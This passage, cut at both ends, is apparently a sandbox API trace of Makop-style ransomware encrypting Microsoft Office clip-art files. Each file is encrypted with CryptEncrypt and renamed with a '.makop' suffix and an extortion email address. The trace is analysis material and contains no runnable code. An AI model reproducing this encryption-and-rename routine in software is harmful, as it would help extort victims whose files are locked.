liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.073] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4740, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4740, lpOverlapped=0x0) returned 1 [0140.073] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.073] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.074] SetEndOfFile (hFile=0xf0) returned 1 [0140.081] GetProcessHeap () returned 0x48a0000 [0140.081] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0140.081] GetProcessHeap () returned 0x48a0000 [0140.081] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0140.081] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0140.081] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01356_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01356_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0140.083] CloseHandle (hObject=0xf0) returned 1 [0140.083] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdda5200, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcdda5200, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x6bf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01357_.WMF", cAlternateFileName="")) returned 1 [0140.083] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF") returned 63 [0140.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01357_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0140.085] GetProcessHeap () returned 0x48a0000 [0140.086] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0140.086] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0140.086] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0140.086] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0140.090] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.090] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.090] GetProcessHeap () returned 0x48a0000 [0140.090] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0140.090] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0140.091] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.091] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0140.091] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0140.091] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0140.091] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0140.091] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0140.091] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0140.092] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.092] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.092] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.092] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6bf6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6bf6, lpOverlapped=0x0) returned 1 [0140.094] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6c00, dwBufLen=0x6c00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6c00) returned 1 [0140.094] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.094] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6c00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6c00, lpOverlapped=0x0) returned 1 [0140.094] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.095] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.095] SetEndOfFile (hFile=0xf0) returned 1 [0140.101] GetProcessHeap () returned 0x48a0000 [0140.101] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0140.102] GetProcessHeap () returned 0x48a0000 [0140.102] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0140.102] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0140.102] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01357_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01357_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0140.104] CloseHandle (hObject=0xf0) returned 1 [0140.104] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcca92500, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcca92500, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01358_.WMF", cAlternateFileName="")) returned 1 [0140.104] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF") returned 63 [0140.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01358_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0140.106] GetProcessHeap () returned 0x48a0000 [0140.107] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0140.107] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0140.107] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0140.107] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0140.111] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.111] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.111] GetProcessHeap () returned 0x48a0000 [0140.111] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0140.111] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0140.112] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.112] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0140.112] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0140.112] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0140.112] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0140.112] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0140.112] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0140.113] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.113] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.113] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.113] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd6e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xd6e, lpOverlapped=0x0) returned 1 [0140.113] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd70, dwBufLen=0xd70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd70) returned 1 [0140.113] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.113] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xd70, lpOverlapped=0x0) returned 1 [0140.113] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.114] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xe44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.114] SetEndOfFile (hFile=0xf0) returned 1 [0140.121] GetProcessHeap () returned 0x48a0000 [0140.121] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0140.121] GetProcessHeap () returned 0x48a0000 [0140.121] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0140.121] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0140.121] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01358_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01358_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0140.123] CloseHandle (hObject=0xf0) returned 1 [0140.123] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6b34400, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6b34400, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x1b74, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01361_.WMF", cAlternateFileName="")) returned 1 [0140.123] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF") returned 63 [0140.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0140.125] GetProcessHeap () returned 0x48a0000 [0140.125] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0140.125] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0140.125] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0140.125] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0140.131] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.132] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.132] GetProcessHeap () returned 0x48a0000 [0140.132] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0140.132] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0140.132] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.132] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0140.132] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0140.133] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0140.133] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0140.133] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0140.133] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0140.133] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.134] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.134] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.134] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1b74, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1b74, lpOverlapped=0x0) returned 1 [0140.136] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b80, dwBufLen=0x1b80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b80) returned 1 [0140.136] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.137] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1b80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1b80, lpOverlapped=0x0) returned 1 [0140.137] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.137] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1c54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.137] SetEndOfFile (hFile=0xf0) returned 1 [0140.146] GetProcessHeap () returned 0x48a0000 [0140.146] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0140.146] GetProcessHeap () returned 0x48a0000 [0140.146] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0140.146] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0140.146] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01361_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01361_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0140.149] CloseHandle (hObject=0xf0) returned 1 [0140.149] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe5b0900, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe5b0900, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x40412, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01368_.WMF", cAlternateFileName="")) returned 1 [0140.149] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF") returned 63 [0140.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01368_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0140.151] GetProcessHeap () returned 0x48a0000 [0140.151] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0140.151] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0140.151] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0140.151] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0140.156] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.156] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.156] GetProcessHeap () returned 0x48a0000 [0140.156] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0140.156] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0140.156] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.156] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0140.156] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0140.156] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0140.157] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0140.157] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0140.157] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0140.157] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.158] CryptSetKeyParam (hKey=0x48c7128, 